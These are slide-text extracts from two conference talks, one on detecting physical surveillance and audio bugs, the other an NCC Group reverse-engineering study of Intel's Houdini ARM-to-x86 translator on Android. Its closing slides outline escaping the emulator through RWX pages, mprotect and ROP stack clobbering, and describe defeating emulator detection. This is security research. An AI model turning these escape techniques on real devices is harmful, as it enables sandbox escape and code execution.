– Watch for vehicles that go away and
then come back
Combating Tailing (contd)
● Detect electronic devices
– Use the previously describe RF
detection system without any
filters
– Scan the AM radio band on your
car radio before you go
● Many homemade or privately available
trackers operate in this frequency band
● If you hear nothing but a strong tone it is
probably a tracker on your car!
Combating Tailing (contd)
● Active techniques
– Drag a few traffic lights
– Take unusual routes
– Drive through residential neighborhoods
– Take a few alleys or deserted side
streets
– Occasionally park for no reason
Stakeout Vehicles
● Same vehicles used in tailing may be
used
● Additional vehicles might be used
– SUV
– Commercial vans
– Pickup trucks with toppers
Combating Stationary
Surveillance
● Look!
– People in parked vehicles
– Construction/utility workers who are
around too long or appear to be
doing nothing
– Commercial vans parked for
extended periods
– Anyone with view of all your exits
Combating Stationary
Surveillance (contd)
● Active techniques
– Get out your binoculars and spy back
– Run outside and jump in your car
● Run back inside and see if anyone
seems to notice
● Drive around the block and see if anyone
followed you
Audio bugging
Detecting active bugs
● Free way: analog AM/FM radio might detect
some bugs
● Inexpensive way: USB TV Tuner Software
Defined Radio (SDR)
– Can detect signals in 50 MHz - 2 GHz
– Commercial bugs are usually 10 MHz - 8
GHz
● Moderately expensive way: Broadband amplifier
connected to TV antenna
● Expensive way: Drop $500 on a commercial
detector
Detecting bugs with a radio
● Must be analog
● Scan through the AM/FM
bands to see if you can hear
the audio you are generating
● Works with only the simplest
bugs
Detecting passive bugs
● Must try to excite bug with RF in correct
band
● If you are close enough and the signal
is strong can still work with wrong
frequency
● Detection is same as active bugs
Exciting the bug
● Free way: Blast it with 2.4 GHz from
your Alfa
● Inexpensive way: Noisy broadband
transmitter attached to TV antenna
Bugs in your computing
devices
● Bugs can be installed by
– intercepting shipments
– "service" professionals
– spies in your local IT staff
– pissed off guy in your office
Detecting bugs
● Free way: Look!
– Bugging devices can be installed externally
– I described a small dropbox easily hidden
behind a computer at DC21
– Same dropbox is easily hidden in other
items on your desk
● Example: Dalek desktop defender
● Example: TARDIS
● Check every device connected to your
computer especially USB and network
Hiding Places
Bugs may be internal
● Open the case and look for obvious
signs
● Pictures of NSA devices have been
leaked
● Inexpensive way: Current leaks
– Bugs need current to run
– Turned off devices shouldn't draw any
power
A modified universal laptop
power supply can be used to
detect this current leakage
●
Modify the power supply to detect current
●
For laptop or phone remove the battery and measure
current with device "off"
– Current flow indicates possible bug
●
For tablet fully charge the battery
– Measure the current flow
– Small current might indicate issue with charging circuit
or battery
– If the current peaks when you speak or move in view of
the camera there may be a bug
Laptop Adapter
Laptop Adapter
For a desktop computer
● Physical inspection is best
– Can attempt to detect leakage current
with Kill o Watt or similar
● Many computer power supplies leak
current so this is not conclusive
● Desktop bug might only work when
computer is on
Passive bugs
● Excite as described for passive audio
bugs
● Use same techniques as described
above to detect excited bug
● Won't detect all passive bugs (such as
the expensive NSA bugs)
Summary
● Chose your level of paranoia
● Even if you aren't paranoid you can still
detect many spying activities at no cost
● Truly paranoid can still test without
financial ruin
References
● Hacking and Penetration Testing with
Low Power Devices by Philip Polstra
(Syngress, 2014)
● Jacob Appelbaum talk on NSA spy
device catalog
https://www.youtube.com/watch?
v=vILAlhwUgIU
Questions?
● Come see me after
● @ppolstra on Twitter
● Http://philpolstra.com or http://polstra.org
● More info on BeagleBone drones | pdf |
© NCC Group 2021. All rights reserved
Sleight of ARM:
Demystifying Intel Houdini
Brian Hong
@im_eningeer
whoami
© NCC Group 2021. All rights reserved
Brian S. Hong (@im_eningeer)
• Hardware Enthusiast
• Forward Reverse Engineer
• Like to reverse low-level stuff and break embedded systems
• Android Penetration Testing
• Security Consultant @
• Cooper Union Electrical Engineering
Introduction — Android NDK
© NCC Group 2021. All rights reserved
1 https://gs.statcounter.com/os-market-share/mobile/worldwide
2 https://www.android-x86.org/
• Android is the operating system powering 70%1 of the mobile devices
• Android supports application development in Java and Kotlin, and additionally in
native languages such as C and C++ through the Native Development Kit (NDK)
• ARM is the main hardware platform for Android, with official support for x86
introduced in later versions – Android Lollipop (2014)
• NDK r6 (2011) added support for x86
• NDK r10 (2014) added support for 64 bit ABIs, including x86_64
• There is also out-of-tree support for Android on x86
• Android-x86 (2011)2
Introduction — Android on x86
© NCC Group 2021. All rights reserved
• Two main kinds of x86 devices running Android
(neither of them are phones)
• x86 Chromebooks
• Commercial Android emulators on x86 hosts
• x86 support is generally lacking across apps
• ARM is the primary target platform
• If shipping native code, the Play Store
only requires ARM builds
• Few developers end up shipping x86 binaries
for their APKs, but many apps have native code
• So then how are x86 Android devices supposed to
support popular apps (optimized with native ARM code)?
Houdini — What is it?
© NCC Group 2021. All rights reserved
• Intel’s proprietary dynamic binary translator from ARM to x86
• Co-created by Google for Android
• Enables ARM native applications to run on x86 based platforms
• A black box shrouded in mystery
• Little mention of it on Intel’s websites, seemingly not a public-facing product
• No public documentation
• Several vendors may be obfuscating their use of Houdini?
• There are three variants:
• 32-bit x86 implementing 32-bit ARM
• 64-bit x86 implementing 32-bit ARM
• 64-bit x86 implementing 64-bit ARM
Houdini — Where’s it used?
© NCC Group 2021. All rights reserved
• Physical hardware
• x86-based mobile phones (e.g. Zenfone 2)
• x86 Chromebooks
• This is how we got it
• Commercial Android Emulators
• BlueStacks
• NOX
• Android-x86 Project
Houdini — How’s it work?
© NCC Group 2021. All rights reserved
Interpreted emulator
• Essentially a while loop around a switch (but actually more like a state machine)
• Reads ARM opcodes and produces corresponding behavior in x86
• Doesn’t JIT; no x86 instructions produced at runtime
Two components
• houdini: interpreter used to run executable binaries
• libhoudini: loadable shared object (x86); used to load and link ARM libraries
./houdini
© NCC Group 2021. All rights reserved
Runs ARM executable binaries (static and dynamic)
• Uses dynamic libraries precompiled for ARM+Android from:
• /system/lib/arm
• /system/vendor/lib/arm
./houdini
© NCC Group 2021. All rights reserved
Runs ARM executable binaries (static and dynamic)
• Uses dynamic libraries precompiled for ARM+Android from:
• /system/lib/arm
• /system/vendor/lib/arm
• Loaded in by the Linux kernel binfmt_misc feature
./houdini — binfmt_misc
© NCC Group 2021. All rights reserved
1 https://en.wikipedia.org/wiki/Binfmt_misc
binfmt_misc (Miscellaneous Binary Format) is a capability of the Linux kernel which
allows arbitrary executable file formats to be recognized and passed to certain user
space applications, such as emulators and virtual machines. It is one of a number of
binary format handlers in the kernel that are involved in preparing a user-space program
to run. 1
./houdini — binfmt_misc
© NCC Group 2021. All rights reserved
1 https://en.wikipedia.org/wiki/Binfmt_misc
binfmt_misc (Miscellaneous Binary Format) is a capability of the Linux kernel which
allows arbitrary executable file formats to be recognized and passed to certain user
space applications, such as emulators and virtual machines. It is one of a number of
binary format handlers in the kernel that are involved in preparing a user-space program
to run. 1
./hello
./houdini — binfmt_misc
© NCC Group 2021. All rights reserved
1 https://en.wikipedia.org/wiki/Binfmt_misc
binfmt_misc (Miscellaneous Binary Format) is a capability of the Linux kernel which
allows arbitrary executable file formats to be recognized and passed to certain user
space applications, such as emulators and virtual machines. It is one of a number of
binary format handlers in the kernel that are involved in preparing a user-space program
to run. 1
./hello
->
/system/bin/houdini ./hello
libhoudini.so
© NCC Group 2021. All rights reserved
• Is a shared object (x86)
• Loads in ARM shared objects
• Mainly designed to be used with Android NativeBridge to run ARM native code
Android NativeBridge
© NCC Group 2021. All rights reserved
1 Ye, Roger. Android System Programming: Porting, Customizing, and Debugging Android HAL.
Packt Publishing, 2017.
• Main interface from Android to libhoudini
• Part of the Android Runtime (ART)
• Supports running native libraries in
different processor architectures
1
Android NativeBridge — Initialization
© NCC Group 2021. All rights reserved
• Initialized on boot by Android Runtime (ART)
• NativeBridge reads system property ro.dalvik.vm.native.bridge
• Disabled if set to ”0”
• Otherwise, it provides the name of the library file to be loaded with
NativeBridge (e.g ”libhoudini.so”)
• NativeBridge defines interface with callbacks
• NativeBridgeRuntimeCallbacks
• NativeBridgeCallbacks
Android NativeBridge — Initialization
© NCC Group 2021. All rights reserved
• Initialized on boot by Android Runtime (ART)
• NativeBridge reads system property ro.dalvik.vm.native.bridge
• Disabled if set to ”0”
• Otherwise, it provides the name of the library file to be loaded with
NativeBridge (e.g ”libhoudini.so”)
• Android-x86 project uses ”libnb.so” instead, which is a shim that loads
libhoudini
• NativeBridge defines interface with callbacks
• NativeBridgeRuntimeCallbacks
• NativeBridgeCallbacks
Android NativeBridge — Java Native Interface (JNI)
© NCC Group 2021. All rights reserved
1 https://android.googlesource.com/platform/libnativehelper/+/refs/heads/master/include_jni/jni.h
The JNI is an FFI for calling between JVM
code (e.g. Java) and native code (e.g.
C/C++). Java native methods are mapped
to native symbols. The native functions
receive a JNIEnv* from the JVM, which is a
bag of function pointers providing a
low-level Java/JVM reflection API, including
object allocation, class lookups, and method
invocations. It also provides a type mapping
between Java primitives and C types.
typedef uint8_t
jboolean; /* unsigned 8 bits */
typedef int8_t
jbyte;
/* signed 8 bits */
typedef uint16_t jchar;
/* unsigned 16 bits */
typedef int32_t
jint;
/* signed 32 bits */
typedef int64_t
jlong;
/* signed 64 bits */
typedef const struct JNINativeInterface* JNIEnv;
struct JNINativeInterface {
...
jint
(*GetVersion)(JNIEnv *);
jclass
(*DefineClass)(JNIEnv*, const char*...
jclass
(*FindClass)(JNIEnv*, const char*);
...
jobject
(*AllocObject)(JNIEnv*, jclass);
jobject
(*NewObject)(JNIEnv*, jclass, jmethodID...
...
jmethodID (*GetStaticMethodID)(JNIEnv*, jclass...
jobject
(*CallObjectMethod)(JNIEnv*, jobject...
jboolean
(*CallBooleanMethod)(JNIEnv*, jobject...
...
jbyte
(*GetByteField)(JNIEnv*, jobject, jfieldID);
jchar
(*GetCharField)(JNIEnv*, jobject, jfieldID);
jint
(*GetIntField)(JNIEnv*, jobject, jfieldID);
...
source1
Android NativeBridge — Callbacks
© NCC Group 2021. All rights reserved
1 https://android.googlesource.com/platform/art/+/master/runtime/native_bridge_art_interface.cc
NativeBridgeRuntimeCallbacks
provide a way for native methods to
call JNI native functions.
NativeBridge -> libhoudini
// Runtime interfaces to native bridge.
struct NativeBridgeRuntimeCallbacks {
// Get shorty of a Java method.
const char* (*getMethodShorty)(JNIEnv* env, jmethodID mid);
// Get number of native methods for specified class.
uint32_t (*getNativeMethodCount)(JNIEnv* env, jclass clazz);
// Get at most 'method_count' native methods
// for specified class.
uint32_t (*getNativeMethods)(JNIEnv* env, jclass clazz,
JNINativeMethod* methods, uint32_t method_count);
};
source1
Android NativeBridge — Interface
© NCC Group 2021. All rights reserved
1 https://android.googlesource.com/platform/art/+/master/runtime/native_bridge_art_interface.cc
NativeBridge can interact with
libhoudini via
NativeBridgeCallbacks
Fetched from libhoudini via symbol
NativeBridgeItf
// Native bridge interfaces to runtime.
struct NativeBridgeCallbacks {
uint32_t version;
bool (*initialize)(const NativeBridgeRuntimeCallbacks* runtime_cbs,
const char* private_dir, const char* instruction_set);
void* (*loadLibrary)(const char* libpath, int flag);
void* (*getTrampoline)(void* handle, const char* name,
const char* shorty, uint32_t len);
...
int (*unloadLibrary)(void* handle);
void* (*loadLibraryExt)(const char* libpath, int flag,
native_bridge_namespace_t* ns);
};
source1
Android NativeBridge — Interface
© NCC Group 2021. All rights reserved
1 https://android.googlesource.com/platform/art/+/master/runtime/native_bridge_art_interface.cc
NativeBridge can interact with
libhoudini via
NativeBridgeCallbacks
Fetched from libhoudini via symbol
NativeBridgeItf
• initialize()
• loadLibrary()
"dlopen()"
• getTrampoline() "dlsym()"
// Native bridge interfaces to runtime.
struct NativeBridgeCallbacks {
uint32_t version;
bool (*initialize)(const NativeBridgeRuntimeCallbacks* runtime_cbs,
const char* private_dir, const char* instruction_set);
void* (*loadLibrary)(const char* libpath, int flag);
void* (*getTrampoline)(void* handle, const char* name,
const char* shorty, uint32_t len);
...
int (*unloadLibrary)(void* handle);
void* (*loadLibraryExt)(const char* libpath, int flag,
native_bridge_namespace_t* ns);
};
source1
NativeBridge — Libhoudini
$ objdump -T libhoudini.so
libhoudini.so:
file format elf32-i386
DYNAMIC SYMBOL TABLE:
...
004f8854 g
DO .data 0000003c Base
NativeBridgeItf
NativeBridge — Summary
NativeBridge — Summary
• dlopen(libhoudini.so)
NativeBridge — Summary
• dlopen(libhoudini.so)
• dlsym(NativeBridgeItf)
• initialize()
NativeBridge — Summary
• dlopen(libhoudini.so)
• dlsym(NativeBridgeItf)
• initialize()
• loadLibrary()
"dlopen()"
NativeBridge — Summary
• dlopen(libhoudini.so)
• dlsym(NativeBridgeItf)
• initialize()
• loadLibrary()
"dlopen()"
• getTrampoline() "dlsym()"
NativeBridge — Summary
• dlopen(libhoudini.so)
• dlsym(NativeBridgeItf)
• initialize()
• loadLibrary()
"dlopen()"
• getTrampoline() "dlsym()"
NativeBridge — Summary
• dlopen(libhoudini.so)
• dlsym(NativeBridgeItf)
• initialize()
• loadLibrary()
"dlopen()"
• getTrampoline() "dlsym()"
NativeBridge — Summary
• dlopen(libhoudini.so)
• dlsym(NativeBridgeItf)
• initialize()
• loadLibrary()
"dlopen()"
• getTrampoline() "dlsym()"
NativeBridge — Summary
• dlopen(libhoudini.so)
• dlsym(NativeBridgeItf)
• initialize()
• loadLibrary()
"dlopen()"
• getTrampoline() "dlsym()"
• Houdini provides a ARM version
of JNIEnv
• Handled via trap
instructions
Houdini Emulation — Memory
© NCC Group 2021. All rights reserved
• Dual architecture userland (separate ARM binaries; e.g. libc, etc.)
• Shared virtual address space
• Real world view of memory
• Maintains a separate allocation for ARM stack
00008000-0000a000 rw-p 00000000
[anon:Mem_0x10000002]
0c000000-0c001000 r--p 00000000
/vendor/lib/arm/nb/libdl.so
0c001000-0c002000 r--p 00000000
/vendor/lib/arm/nb/libdl.so
0c200000-0c203000 r--p 00000000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c203000-0c204000 r--p 00002000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c204000-0c205000 rw-p 00003000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c500000-0c5d6000 r--p 00000000
/vendor/lib/arm/nb/libc.so
0c5d6000-0c5da000 r--p 000d5000
/vendor/lib/arm/nb/libc.so
0c5da000-0c5dc000 rw-p 000d9000
/vendor/lib/arm/nb/libc.so
...
0e094000-10000000 rwxp 00000000
[anon:Mem_0x20000000]
12000000-12100000 rwxp 00000000
[anon:Mem_0x10001000]
12100000-12122000 rw-p 00000000
[anon:Mem_0x10001000]
12153000-1218c000 rw-p 00000000
[anon:Mem_0x10001000]
e5502000-e598d000 r-xp 00000000
/vendor/lib/libhoudini.so
e598d000-e59bf000 r--p 0048a000
/vendor/lib/libhoudini.so
e59bf000-e59ff000 rw-p 004bc000
/vendor/lib/libhoudini.so
ecdb0000-eceaa000 r-xp 00000000
/system/lib/libc.so
eceaa000-eceae000 r--p 000f9000
/system/lib/libc.so
eceae000-eceb0000 rw-p 000fd000
/system/lib/libc.so
ee0da000-ee0dc000 rwxp 00000000
[anon:Mem_0x10000000]
ee1b5000-ee303000 r-xp 00000000
/system/bin/linker
ee303000-ee309000 r--p 0014d000
/system/bin/linker
ee309000-ee30a000 rw-p 00153000
/system/bin/linker
ff26d000-ffa6c000 rw-p 00000000
[stack]
00008000-0000a000 rw-p 00000000
[anon:Mem_0x10000002]
0c000000-0c001000 r--p 00000000
/vendor/lib/arm/nb/libdl.so
0c001000-0c002000 r--p 00000000
/vendor/lib/arm/nb/libdl.so
0c200000-0c203000 r--p 00000000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c203000-0c204000 r--p 00002000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c204000-0c205000 rw-p 00003000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c500000-0c5d6000 r--p 00000000
/vendor/lib/arm/nb/libc.so
0c5d6000-0c5da000 r--p 000d5000
/vendor/lib/arm/nb/libc.so
0c5da000-0c5dc000 rw-p 000d9000
/vendor/lib/arm/nb/libc.so
...
0e094000-10000000 rwxp 00000000
[anon:Mem_0x20000000]
12000000-12100000 rwxp 00000000
[anon:Mem_0x10001000]
12100000-12122000 rw-p 00000000
[anon:Mem_0x10001000]
12153000-1218c000 rw-p 00000000
[anon:Mem_0x10001000]
e5502000-e598d000 r-xp 00000000
/vendor/lib/libhoudini.so
e598d000-e59bf000 r--p 0048a000
/vendor/lib/libhoudini.so
e59bf000-e59ff000 rw-p 004bc000
/vendor/lib/libhoudini.so
ecdb0000-eceaa000 r-xp 00000000
/system/lib/libc.so
eceaa000-eceae000 r--p 000f9000
/system/lib/libc.so
eceae000-eceb0000 rw-p 000fd000
/system/lib/libc.so
ee0da000-ee0dc000 rwxp 00000000
[anon:Mem_0x10000000]
ee1b5000-ee303000 r-xp 00000000
/system/bin/linker
ee303000-ee309000 r--p 0014d000
/system/bin/linker
ee309000-ee30a000 rw-p 00153000
/system/bin/linker
ff26d000-ffa6c000 rw-p 00000000
[stack]
00008000-0000a000 rw-p 00000000
[anon:Mem_0x10000002]
0c000000-0c001000 r--p 00000000
/vendor/lib/arm/nb/libdl.so
0c001000-0c002000 r--p 00000000
/vendor/lib/arm/nb/libdl.so
0c200000-0c203000 r--p 00000000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c203000-0c204000 r--p 00002000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c204000-0c205000 rw-p 00003000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c500000-0c5d6000 r--p 00000000
/vendor/lib/arm/nb/libc.so
0c5d6000-0c5da000 r--p 000d5000
/vendor/lib/arm/nb/libc.so
0c5da000-0c5dc000 rw-p 000d9000
/vendor/lib/arm/nb/libc.so
...
0e094000-10000000 rwxp 00000000
[anon:Mem_0x20000000]
12000000-12100000 rwxp 00000000
[anon:Mem_0x10001000]
12100000-12122000 rw-p 00000000
[anon:Mem_0x10001000]
12153000-1218c000 rw-p 00000000
[anon:Mem_0x10001000]
e5502000-e598d000 r-xp 00000000
/vendor/lib/libhoudini.so
e598d000-e59bf000 r--p 0048a000
/vendor/lib/libhoudini.so
e59bf000-e59ff000 rw-p 004bc000
/vendor/lib/libhoudini.so
ecdb0000-eceaa000 r-xp 00000000
/system/lib/libc.so
eceaa000-eceae000 r--p 000f9000
/system/lib/libc.so
eceae000-eceb0000 rw-p 000fd000
/system/lib/libc.so
ee0da000-ee0dc000 rwxp 00000000
[anon:Mem_0x10000000]
ee1b5000-ee303000 r-xp 00000000
/system/bin/linker
ee303000-ee309000 r--p 0014d000
/system/bin/linker
ee309000-ee30a000 rw-p 00153000
/system/bin/linker
ff26d000-ffa6c000 rw-p 00000000
[stack]
00008000-0000a000 rw-p 00000000
[anon:Mem_0x10000002]
0c000000-0c001000 r--p 00000000
/vendor/lib/arm/nb/libdl.so
0c001000-0c002000 r--p 00000000
/vendor/lib/arm/nb/libdl.so
0c200000-0c203000 r--p 00000000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c203000-0c204000 r--p 00002000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c204000-0c205000 rw-p 00003000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c500000-0c5d6000 r--p 00000000
/vendor/lib/arm/nb/libc.so
0c5d6000-0c5da000 r--p 000d5000
/vendor/lib/arm/nb/libc.so
0c5da000-0c5dc000 rw-p 000d9000
/vendor/lib/arm/nb/libc.so
...
0e094000-10000000 rwxp 00000000
[anon:Mem_0x20000000]
12000000-12100000 rwxp 00000000
[anon:Mem_0x10001000]
12100000-12122000 rw-p 00000000
[anon:Mem_0x10001000]
12153000-1218c000 rw-p 00000000
[anon:Mem_0x10001000]
e5502000-e598d000 r-xp 00000000
/vendor/lib/libhoudini.so
e598d000-e59bf000 r--p 0048a000
/vendor/lib/libhoudini.so
e59bf000-e59ff000 rw-p 004bc000
/vendor/lib/libhoudini.so
ecdb0000-eceaa000 r-xp 00000000
/system/lib/libc.so
eceaa000-eceae000 r--p 000f9000
/system/lib/libc.so
eceae000-eceb0000 rw-p 000fd000
/system/lib/libc.so
ee0da000-ee0dc000 rwxp 00000000
[anon:Mem_0x10000000]
ee1b5000-ee303000 r-xp 00000000
/system/bin/linker
ee303000-ee309000 r--p 0014d000
/system/bin/linker
ee309000-ee30a000 rw-p 00153000
/system/bin/linker
ff26d000-ffa6c000 rw-p 00000000
[stack]
00008000-0000a000 rw-p 00000000
[anon:Mem_0x10000002]
0c000000-0c001000 r--p 00000000
/vendor/lib/arm/nb/libdl.so
0c001000-0c002000 r--p 00000000
/vendor/lib/arm/nb/libdl.so
0c200000-0c203000 r--p 00000000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c203000-0c204000 r--p 00002000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c204000-0c205000 rw-p 00003000
/data/app/com.nccgroup.research.../lib/arm/libnative-lib.so
0c500000-0c5d6000 r--p 00000000
/vendor/lib/arm/nb/libc.so
0c5d6000-0c5da000 r--p 000d5000
/vendor/lib/arm/nb/libc.so
0c5da000-0c5dc000 rw-p 000d9000
/vendor/lib/arm/nb/libc.so
...
0e094000-10000000 rwxp 00000000
[anon:Mem_0x20000000]
12000000-12100000 rwxp 00000000
[anon:Mem_0x10001000]
12100000-12122000 rw-p 00000000
[anon:Mem_0x10001000]
12153000-1218c000 rw-p 00000000
[anon:Mem_0x10001000]
e5502000-e598d000 r-xp 00000000
/vendor/lib/libhoudini.so
e598d000-e59bf000 r--p 0048a000
/vendor/lib/libhoudini.so
e59bf000-e59ff000 rw-p 004bc000
/vendor/lib/libhoudini.so
ecdb0000-eceaa000 r-xp 00000000
/system/lib/libc.so
eceaa000-eceae000 r--p 000f9000
/system/lib/libc.so
eceae000-eceb0000 rw-p 000fd000
/system/lib/libc.so
ee0da000-ee0dc000 rwxp 00000000
[anon:Mem_0x10000000]
ee1b5000-ee303000 r-xp 00000000
/system/bin/linker
ee303000-ee309000 r--p 0014d000
/system/bin/linker
ee309000-ee30a000 rw-p 00153000
/system/bin/linker
ff26d000-ffa6c000 rw-p 00000000
[stack]
Houdini Emulator — Execution
• State machine (switch inside while loop), fetch/decode/dispatch shown below
Houdini Emulator — Instruction Table
© NCC Group 2021. All rights reserved
Instruction bits 27-20 concatenated with
bits 7-4 is used as the offset into the table
uint32_t instruction = memory[state.pc];
uint8_t
condition_code = instruction >> 24;
if(condition_code != 0x0E) goto 0x3100AD;
uint32_t offset =
((instruction >> 16) & 0xFF0) + \\ [20:27]
((instruction >>
4) & 0x00F);
\\ [4:7]
void **instruction_table = 0x4BB9C0;
int (*instruction_handler)(uint32_t, struct proc_state*);
instruction_handler = instruction_table[offset];
instruction_handler(instruction, state);
Houdini Emulator — Instruction Table
© NCC Group 2021. All rights reserved
Instruction bits 27-20 concatenated with
bits 7-4 is used as the offset into the table
uint32_t instruction = memory[state.pc];
uint8_t
condition_code = instruction >> 24;
if(condition_code != 0x0E) goto 0x3100AD;
uint32_t offset =
((instruction >> 16) & 0xFF0) + \\ [20:27]
((instruction >>
4) & 0x00F);
\\ [4:7]
void **instruction_table = 0x4BB9C0;
int (*instruction_handler)(uint32_t, struct proc_state*);
instruction_handler = instruction_table[offset];
instruction_handler(instruction, state);
For example, ’mov r0, r1’ is 0xE1A00001
instr[27:20] ∥ instr[7:4] →0x1A1
Each entry is a 32-bit address, so:
0x1A1 ∗ 4 = 0x684
Instruction table offset is 0x4BB9C0
0x4BB9C0 + 0x684 = 0x4BC044
Houdini Emulator — Processor State
© NCC Group 2021. All rights reserved
• Stores ARM registers, as well as other processor states
/* Processor state of libhoudini's emulated ARM */
struct proc_state {
unsigned int
reg[16];
/* Register values for r0, r1, r2... */
unsigned char unk[300];
/* Unknown fields */
unsigned int
isThumb;
/* Whether in thumb mode or not */
unsigned int
svcNumber; /* Pending SVC call number */
unsigned char unk2[40];
/* Unknown fields */
unsigned int
pc8;
/* PC + 8 */
unsigned int
ldrstr;
/* ?? (used for ldr/str instructions) */
unsigned char unk3[84];
/* Unknown fields */
};
• ARM registers can be read/written from both ARM and x86
Houdini Emulator — Syscall
© NCC Group 2021. All rights reserved
• ARM syscalls are handled by userland x86 code that issues x86 syscalls
Houdini Emulator — fork(2)/clone(2)
© NCC Group 2021. All rights reserved
• Intercepted and reimplemented by Houdini
• Houdini clones the process
• The child process handles the child fork/clone logic
• The parent process handles the fork/clone logic
• clone(2) child_stack not passed to the kernel
• Instead an empty RWX page is passed as child_stack
Houdini Emulator — Detection
© NCC Group 2021. All rights reserved
Java architecture checking
• System.getProperty("os.arch");
• /proc/cpuinfo
Houdini Emulator — Detection
© NCC Group 2021. All rights reserved
Java architecture checking
• System.getProperty("os.arch");
• /proc/cpuinfo
Houdini hides these
System.getProperty("os.arch") -> armv7l
$ cat /proc/cpuinfo
Processor
: ARMv8 processor rev 1 (aarch64)
processor
: 0
processor
: 1
BogoMIPS
: 24.00
Features
: neon vfp half thumb fastmult edsp
vfpv3 vfpv4 idiva idivt tls aes sha1 sha2 crc32
CPU implementer : 0x4e
CPU architecture: 8
CPU variant
: 0x02
CPU part
: 0x000
CPU revision
: 1
Hardware
: placeholder
Revision
: 0000
Serial
: 0000000000000000
Houdini Emulator — Detection
© NCC Group 2021. All rights reserved
Java architecture checking
• System.getProperty("os.arch");
• /proc/cpuinfo
Memory mapping checking
• /proc/self/maps
• Dual x86/ARM shared libraries
Houdini hides these
System.getProperty("os.arch") -> armv7l
$ cat /proc/cpuinfo
Processor
: ARMv8 processor rev 1 (aarch64)
processor
: 0
processor
: 1
BogoMIPS
: 24.00
Features
: neon vfp half thumb fastmult edsp
vfpv3 vfpv4 idiva idivt tls aes sha1 sha2 crc32
CPU implementer : 0x4e
CPU architecture: 8
CPU variant
: 0x02
CPU part
: 0x000
CPU revision
: 1
Hardware
: placeholder
Revision
: 0000
Serial
: 0000000000000000
Houdini Emulator — Detection
© NCC Group 2021. All rights reserved
Java architecture checking
• System.getProperty("os.arch");
• /proc/cpuinfo
Memory mapping checking
• /proc/self/maps
• Dual x86/ARM shared libraries
Detection from noisy to quiet
The best implementation is one that issues
no otherwise discernable syscalls
Houdini hides these
System.getProperty("os.arch") -> armv7l
$ cat /proc/cpuinfo
Processor
: ARMv8 processor rev 1 (aarch64)
processor
: 0
processor
: 1
BogoMIPS
: 24.00
Features
: neon vfp half thumb fastmult edsp
vfpv3 vfpv4 idiva idivt tls aes sha1 sha2 crc32
CPU implementer : 0x4e
CPU architecture: 8
CPU variant
: 0x02
CPU part
: 0x000
CPU revision
: 1
Hardware
: placeholder
Revision
: 0000
Serial
: 0000000000000000
Houdini Emulator — Detection
© NCC Group 2021. All rights reserved
Java architecture checking
• System.getProperty("os.arch");
• /proc/cpuinfo
Memory mapping checking
• /proc/self/maps
• Dual x86/ARM shared libraries
Detection from noisy to quiet
The best implementation is one that issues
no otherwise discernable syscalls
• JNIEnv magic pointer detection
Houdini hides these
System.getProperty("os.arch") -> armv7l
$ cat /proc/cpuinfo
Processor
: ARMv8 processor rev 1 (aarch64)
processor
: 0
processor
: 1
BogoMIPS
: 24.00
Features
: neon vfp half thumb fastmult edsp
vfpv3 vfpv4 idiva idivt tls aes sha1 sha2 crc32
CPU implementer : 0x4e
CPU architecture: 8
CPU variant
: 0x02
CPU part
: 0x000
CPU revision
: 1
Hardware
: placeholder
Revision
: 0000
Serial
: 0000000000000000
Houdini Emulator — Escape to x86
© NCC Group 2021. All rights reserved
• mprotect(2) + overwrite code
• Not subtle
• x86 stack manipulation
• Find and clobber x86 stack with ROP payloads
Security Concerns — RWX + Other Interesting Pages
© NCC Group 2021. All rights reserved
Multiple RWX
• We can write x86 code to these pages
and jump to it
• Shared memory, which means we can
write code from either x86/ARM
00008000-0000a000 rw-p
[anon:Mem_0x10000002]
0e094000-10000000 rwxp
[anon:Mem_0x20000000]
10000000-10003000 rw-p
[anon:Mem_0x10002002]
10003000-10004000 ---p
[anon:Mem_0x10002002]
10004000-10015000 rw-p
[anon:Mem_0x10002002]
10015000-10016000 ---p
[anon:Mem_0x10002002]
...
10128000-12000000 rw-p
[anon:Mem_0x10002000]
12000000-12100000 rwxp
[anon:Mem_0x10001000]
12100000-12122000 rw-p
[anon:Mem_0x10001000]
1215a000-12193000 rw-p
[anon:Mem_0x10001000]
ca6e8000-ca6e9000 ---p
[anon:Mem_0x10000004]
ca6e9000-caae8000 rw-p
[anon:Mem_0x10000004]
caae8000-caae9000 ---p
[anon:Mem_0x10000004]
caae9000-cabe8000 rw-p
[anon:Mem_0x10000004]
...
e4f99000-e4f9a000 ---p
[anon:Mem_0x10000004]
e4f9a000-e4f9f000 rw-p
[anon:Mem_0x10000004]
e8cb4000-e8cb6000 rwxp
[anon:Mem_0x10000000]
Security Concerns — RWX + Other Interesting Pages
© NCC Group 2021. All rights reserved
Multiple RWX
• We can write x86 code to these pages
and jump to it
• Shared memory, which means we can
write code from either x86/ARM
ARM JNIEnv
00008000-0000a000 rw-p
[anon:Mem_0x10000002]
0e094000-10000000 rwxp
[anon:Mem_0x20000000]
10000000-10003000 rw-p
[anon:Mem_0x10002002]
10003000-10004000 ---p
[anon:Mem_0x10002002]
10004000-10015000 rw-p
[anon:Mem_0x10002002]
10015000-10016000 ---p
[anon:Mem_0x10002002]
...
10128000-12000000 rw-p
[anon:Mem_0x10002000]
12000000-12100000 rwxp
[anon:Mem_0x10001000]
12100000-12122000 rw-p
[anon:Mem_0x10001000]
1215a000-12193000 rw-p
[anon:Mem_0x10001000]
ca6e8000-ca6e9000 ---p
[anon:Mem_0x10000004]
ca6e9000-caae8000 rw-p
[anon:Mem_0x10000004]
caae8000-caae9000 ---p
[anon:Mem_0x10000004]
caae9000-cabe8000 rw-p
[anon:Mem_0x10000004]
...
e4f99000-e4f9a000 ---p
[anon:Mem_0x10000004]
e4f9a000-e4f9f000 rw-p
[anon:Mem_0x10000004]
e8cb4000-e8cb6000 rwxp
